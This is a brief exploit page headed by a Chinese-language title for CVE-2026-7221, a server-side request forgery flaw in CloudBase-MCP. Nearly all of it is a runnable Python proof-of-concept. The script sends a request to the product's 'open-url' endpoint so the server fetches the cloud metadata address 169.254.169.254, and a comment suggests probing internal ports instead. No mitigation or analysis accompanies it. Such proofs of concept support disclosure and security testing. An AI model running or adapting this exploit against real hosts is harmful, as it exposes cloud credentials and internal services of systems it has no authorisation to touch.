CVE-2026-7221: CloudBase-MCP 服务端请求伪造漏洞

import requests # Target URL of the vulnerable CloudBase-MCP open-url endpoint target_url = "http://vulnerable-host:port/open-url" # Malicious payload to read internal metadata (common SSRF test) # Attackers can change this to scan internal ports like http://127.0.0.1:22 payload = { "url": "http://169.254.169.254/latest/meta-data/" } try: # Sending the POST request with the malicious body response = requests.post(target_url, json=payload) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")